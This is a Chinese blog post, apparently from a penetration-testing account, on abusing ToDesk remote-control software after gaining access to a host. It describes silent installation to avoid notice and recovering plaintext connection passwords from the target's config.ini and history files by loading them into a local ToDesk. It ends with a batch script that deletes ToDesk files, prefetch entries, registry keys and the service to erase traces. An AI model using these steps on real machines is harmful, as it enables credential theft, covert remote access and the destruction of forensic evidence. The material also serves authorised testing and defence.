声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。 |
---|
之前我也分享过一篇"ToDesk软件在权限提升中的应用",记录的是在权限提升场景下的利用方式。
更多这类第三方远控软件的利用方式可参考之前发的系列文章,有向日葵、AnyDesk、TeamViewer等。
- 向日葵软件在渗透测试中的应用
- AnyDesk和TeamViewer在渗透测试中的应用
0x01 ToDesk简介
ToDesk是一款类似向日葵的远程控制软件,但比向日葵、TV和AD更为流畅和稳定,它同样具备着内网穿透、文件传输、云端同步和流量加密等功能。
有绿色精简版和全功能版两个版本,支持的系统有:
代码语言:javascript复制Winodws/Linux/MacOS/Android/iOS
0x02 如何实现命令行静默安装?
全功能版在双击运行、命令行执行时都会出现UAC弹窗和安装界面,这样非常容易被管理员发现,那么有没有办法能够在命令下实现静默安装呢?
ToDesk文档中看到安装包ToDesk_Setup.exe的/S参数可以实现静默安装,但也会出现UAC弹窗,默认安装在以下目录中,安装完成后自动运行。
代码语言:javascript复制C:Program Files (x86)ToDesk
0x03 场景1:解密目标连接密码
运行ToDesk后会在默认安装目录下生成一个config.ini配置文件,存储的有设备代码、临时密码、安全密码以及登录用户和密码等重要敏感信息,但密码都经过ToDesk特有加密算法加密,所以不能通过解密得到明文密码。
代码语言:javascript复制[ConfigInfo]
localPort=35600
clientId=391***073
PrivateData=44492ab4e1ba3a207f0ed6ed08ebaee4688f35a3e4734c69140aabb51fe33ca8a046d8e494200fcdad17759e4aee4333ddaa63ee63289e277b
language=936
tempAuthPassEx=8d5e3b8d825e57297ea9ce36aca337cd0b592d54e26f00f311cd42207c2255d1b0a87595efd994d0efb658ce84494fa4814630817478
updatePassTime=20210701
authPassEx=874faa02bf500fb26bd91df9dd5af45ba7ed91568253f4cd04d6ca88c91d458707ad0879cd013dc0605ec63a3f60957e346e5a34af6a
既然ToDesk会将我们设置的安全密码进行加密,自然也就有解密了,否则密码将无法显示,所以完全可以利用ToDesk进行解密。当然,有能力的老哥也可以逆向加密算法来写解密程序。
实战测试中只需要找到目标主机ToDesk中的tempAuthPassEx临时密码或authPassEx安全密码,将它们覆盖到我们本地ToDesk中的tempAuthPassEx,重启ToDesk即可得到明文密码。
0x04 场景2:获取历史连接记录
ToDesk连接一台主机后会在默认安装目录下生成一个json格式文件,在已登录状态和未登录状态的文件命名方式不太一样,但内容基本都差不多。
未登录状态:
代码语言:javascript复制C:Program Files (x86)ToDeskuserInfo.json
已登录状态:
代码语言:javascript复制C:Program Files (x86)ToDeskdevlist_493***344@qq.com.json
这个文件主要用于存储历史连接记录,只需找到UserId连接ID和PassEx密码,然后利用以上方式将PassEx解密得到明文,最后再用目标主机ToDesk的连接ID和密码连接即可。
代码语言:javascript复制{
"DeviceInfo" : [
{
"Height" : 723,
"LastPath" : "",
"PassEx" : "19f57e6b81c752cffd786df2ebfbd590237d51d5575377766e6f830170b9d5dff2e1751739bf05084dbe2af6e629b8c0a380e17ab4c315",
"PrivacyScreen" : 0,
"Quality" : 0,
"ResolutionX" : 0,
"ResolutionY" : 0,
"ScreenMode" : 0,
"UserId" : "391***073",
"Voice" : 0,
"Width" : 1368
}
]
}
注:测试中发现使用同一个密码在tempAuthPassEx、authPassEx和历史连接记录里的PassEx密文都不一样,但是这几个密文又都可以用ToDesk来解密,而且明文还都是123456,搞不太明白。
0x05 可能需要清理的痕迹
这里我们必须要先结束或停止ToDesk_Service进程/服务,否则ToDesk.exe进程会在结束后自动运行。
代码语言:javascript复制@echo off
taskkill /f /im ToDesk_Lite.exe /im ToDesk_Service.exe /im ToDesk.exe
del /s /q C:WindowsPrefetchTODESK*.pf
del /s /q C:UsersPublicDesktopToDesk.lnk
del /s /q "%userprofile%AppDataRoamingMicrosoftWindowsRecent*TODESK*.lnk"
rmdir /s /q "C:Program Files (x86)ToDesk"
rmdir /s /q "C:ProgramDataMicrosoftWindowsStart MenuProgramsToDesk"
rmdir /s /q "%userprofile%AppDataLocalToDesk"
rmdir /s /q "C:WINDOWSSysWOW64configsystemprofileAppDataLocalToDesk"
reg delete "HKLMSOFTWAREToDesk" /f
reg delete "HKLMSYSTEMCurrentControlSetServicesToDesk_Service" /f
reg delete "HKLMSOFTWAREWOW6432NodeMicrosoftWindowsCurrentVersionUninstallToDesk" /f
sc delete ToDesk_Service
[...SNIP...]